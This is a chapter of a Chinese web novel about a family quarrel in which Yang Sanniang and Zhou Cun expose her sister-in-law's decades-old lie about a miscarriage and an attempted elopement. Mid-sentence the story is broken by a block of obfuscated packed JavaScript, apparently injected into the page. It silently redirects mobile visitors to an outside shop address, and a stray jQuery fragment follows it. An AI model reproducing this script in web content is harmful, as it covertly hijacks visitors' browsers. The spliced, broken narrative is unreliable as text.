“三娘,你如今成了官太太,难道忘了你的来时路吗?”

    杨氏用袖子虚抹着眼泪,“你忘了你没出嫁的时候只是一个泥腿子了吗?”

    “而今你发达了,却看不起同为泥腿子的娘家侄子。”

    “若是公爹晓得了,恐怕会从棺材板里跳出来打你吧!”

    杨三娘瞬间头皮发麻,“别介,杨家祖宗的棺材不知道被洪水冲到哪里喂狗了,少吓唬我!”

    杨氏顿时愣住。

    这句话听着好熟悉,谁在她面前说过来着?

    旁人不敢这么大逆不道,只有周氏那个小贱人敢这么说。

    就是她!

    任何污蔑祖宗的言辞若是找不到人,一律按周氏说的。

    “三娘,我以为你在孙大人身边脱胎换骨,没想到骨子里还是这么糙。”

    杨氏一计不成,又生一计。

    “三娘啊,你还记得原本杨勇下面还有一个妹妹不?”

    杨三娘瞬间变了脸色。

    杨氏很满意她的模样,继续说道。

    “若是她能生下来,估计已经嫁人了。”

    “为了救你,我才冒着鹅毛大雪去找草药,这才滑倒流了产。”

    “你可以不看咱们一家人的份上给俩孩子差事,可不能不看我那未出世的闺女的面子。”

    周存想找杨三娘商量以后的卖水事宜,进门便看见黑如锅底的她,还有洋洋得意的杨氏。

    看样子杨三娘暂时落入下风。

    她来到杨三娘的身边,小心翼翼的问道。

    “姑姑,你还好吗?”

    杨三娘抬眼看向周存,满是疲惫。

    周存竟然在她眼中看出了悲戚之意。

    “老太婆,你跟姑姑说什么了?”

    杨氏摇摇头,嗓音里带了些兴奋。

    “我什么都没说,只是同妹子叙叙旧罢了。”

    叙旧?

    鬼才信!

    想必是杨三娘有什么把柄落在了杨氏手中。

    “姑姑,无论以前发生什么事儿都已经过去了。”

    “咱们得向前看。”

    “你不用听这老虔婆的,不要任她拿捏。”

    “喂,周氏,你说谁是老虔婆?”

    杨氏气的哇哇大叫起来,这大声密谋听的她头皮发麻。

    周存自然不会惯着她,捋起袖子瞬间进入战斗模式。

    “周存,住手。”

    杨氏正用手抵挡周存即将落下的拳头,听见杨三娘的阻止立即得意起来。

    “你这个小贱蹄子再嚣张啊!”

    周存闻言又要上手,被杨三娘一把拉住。

    “有话好好说,一言不合就开打像什么样子!”

    想起那日杨三娘揍章伞的肆意模样,周存以为她被夺舍了。

    “姑姑,你到底怎么了?”

    杨三娘示意周存坐下,房间中安静了下来。

    独留煤油灯在微风中不断摇曳着身子,不知疲倦。

    “嫂子,你说你当年为了我才流产的?”

    杨三娘率先开口,只是这次,周存在她脸上看到了决绝。

    “当然!”

    杨氏梗着脖子似是在回忆。

    “那年你跟隔壁村小花打架受了重伤。”

    “咱们村子里没有大夫,你大哥又不在家,孩子们都小,只能我去山上采草药给你治伤。”

    “这件事,我这辈子都忘不了。”

    杨三娘喃喃道,“是啊,这件事我这辈子也忘不了。”

    “我再问你,当时你真的是给我采草药去了?”

    杨氏“噌”的一声坐直身子,“我还会骗你?”

    杨氏上山采药迟迟未归,杨老爹回来之后才知道杨氏上了山。

    等他找到杨氏的时候,她已经倒在了雪窝中。

    好不容易捡回一条命,孩子却没了。

    这件事是杨三娘心中的坎,这么多年了都没有过去。

    周存了然,怪不得杨三娘和杨氏脾气不合关系不好,她还能收留一大家子。

    难怪杨氏这么笃定杨三娘会收留他们。

    原来杨三娘欠杨氏一条命。

    “嫂子,你摸着良心说,当时你是为我上山采药了?”

    她直勾勾的盯着杨氏,“我只听你的实话。”

    杨氏眼底闪过一丝慌张,瞬间恢复正常。

    只不过,这丝慌张逃不过周氏的眼睛。

    她才不相信杨氏这么好心,会为杨三娘采药。

    “可是,我最近得知了事情的真相,你出门并不是为我采药。”

    杨三娘闭上眼睛捏了捏眉心,再次开口时恢复了往日的坚毅。

    “你是去与情郎商议何时离开杨家村。”

    “啪”的一声,杨氏拍了把桌子。

    “你胡说八道些什么?”

    “你可知随意污蔑人是要进大牢的。”

    杨三娘的为人周存很是了解。

    她不打无准备的仗。

    “你没干这等丑事激动什么?”

    周存边说边认真观察着杨氏的神色。

    面色慌乱五官乱飞,果然有猫腻。

    周存心中有了底。

    “那你说,下那么大的雪,树都有可能被淹没,你上山能找到草药?”

    “再说了,即使能找到,那都枯了,还能用?”

    接连几个问题问的杨氏哑口无言。

    眼见她又要往地上坐,想要撒泼,周存立即亮了亮拳头。

    “你敢坐一个试试。”

    杨氏顿住,准备张嘴。

    “你敢喊一个试试!”

    杨氏乖乖的闭上了嘴巴。

    杨三娘见状,叹了口气。

    “你可知你出门的时候,三个孩子在哪?”

    这么多年过去了,杨氏哪里还记得这么清?

    见她一个劲儿的做苦思冥想状,杨三娘替她回答。

    “那日杨威和杨勇出门找小伙伴玩,杨武在家中。”

    “哗啦”一声,杨氏的脸上终于有了裂痕。

    杨三娘继续说道。

    “他看见了那个男人。”

    当时杨氏只顾得准备和情郎私奔,哪里还有心管孩子?

    她将家中的财产全部收拾妥当,跟着情郎出了门。

    谁知她所谓的情郎只是一个骗子,专门骗在家中鲜少出门没有见识的农妇。

    当时杨氏陷入情郎精心编织的密网中,当真以为一个年轻壮硕的男人会喜欢怀了孕的农妇。

    出门之后,情郎便将杨氏身上的财物搜刮一通,并向她说明了真相。

    杨氏万念俱灰,她抛弃一切想要找寻爱情,自然不会放情郎走。

    这么一拉二扯间,她脚下一滑倒在了地上。

    冰天雪地,她一个大肚婆站都站不起来。

    情郎趁机跑路,杨氏情急之下晕了过去。

    再醒来,便被人抬回了家中。

    抬眼看见急切的杨老爹,杨氏终于哭了起来。

    可眼下失去了孩子,她没法交待。

    这便将一切都推在了杨三娘的身上。

    她以为自己做的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795482|210244||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    天衣无缝,殊不知一切都被杨武给看了去。

    若不是杨武卧病在床,杨三娘来探望,两人提起过往杨武说漏了嘴,杨三娘还被蒙在鼓中。

    “你说什么?”

    杨氏不可置信的捂着胸口,“你说武儿当天跟着我?”

    她这副心虚又夹杂着后怕的表情,周存和杨三娘还有什么不明白的。

    “杨氏,你对得起我大哥吗?”

    杨三娘眼角含泪,灯光在闪出凄惨的光泽。

    “你对得起三个孩子吗?”

    “你对得起我吗?”

    这么多年来,杨三娘始终活在愧疚中。

    她看不上杨氏的品行,更看不上杨家孩子跟杨氏如出一辙的品行。

    可是当年的愧疚始终钳制着她,让她不得不低头。

    到头来,竟然是杨氏的骗局。

    “我有什么好愧疚的!”

    杨氏眼中闪过疯狂。

    “杨老大一年到头在地里刨食能挣多少银子?”

    “还不够人家在县城一顿饭钱的。”

    “他也不想想,我嫁给他这么多年来吃了多少苦,受了多少白眼儿?”

    “我一个女人在家里操持家务,一文钱掰成两半花,我容易吗?”

    “容易?”

    周存厉声呵斥,“谁人容易?”

    “我公爹容易?”

    “他为了省下一问文钱给杨勇买烧饼,从县城到家里硬生生走了四十里路。”

    “他一年到头穿过几次新衣裳?”

    “平日里都是你们吃剩下了饭菜,才轮得到他。”

    “他对你百依百顺,还有什么对不住你的?”

    周存拿出了原主的记忆,脑海中瞬间浮现出杨老大憨厚老实的模样。

    脸上因为常年劳作布满了风霜,却没有一句怨言。

    一个高大壮硕的汉子活活的操劳而死,死的时候还不到四十岁。

    “哈哈哈哈哈。”

    杨氏忽然哈哈大笑起来,陷入了癫狂。

    “你以为他个该死的不知道我外面有人?”

    “他是不敢吭声。”

    “什么?”周存和杨三娘齐齐问道。

    杨老大竟然知道杨氏的丑事。

    可这个年代,若是真捅破了窗户纸,苦的就是三个孩子。

    “你难道没有为三个孩子想过?”

    杨三娘眼泪无声滑落,替大哥不值。

    “想什么?”

    杨氏狠狠的盯着杨三娘,“若不是他们拖后腿,我早就享福去了。”

    “何至于在这里跟你们掰扯!”

    “你,你这个毒妇!”

    杨三娘胸口剧痛,喉咙处有腥味传来。

    “你枉为人母,你愧对杨家列祖列宗!”

    “你让你的儿子死了之后,还有什么脸入杨家祠堂!”

    杨氏看着杨三娘吃瘪的模样,心中一阵舒坦。

    在家的时候杨三娘总是给她使绊子,如今好不容易占了上风,心中自然欢喜。

    这抹欢喜转化为冲动,刺激着她的大脑。

    “杨威和杨武都不是杨家的孩子,他们入不入祠堂有什么关系?”

    见杨三娘的脸色又黑了一寸,杨氏继续说道。

    “杨勇倒是你的亲侄子,可惜早就死在了战场上,你也不用担心他会不会被人笑话了!”

    周存长大了嘴巴。

    她吃了一个大瓜!

    杨氏再接再厉。

    “你以为为什么杨家三个儿子独独是排行老三的杨勇去了战场?”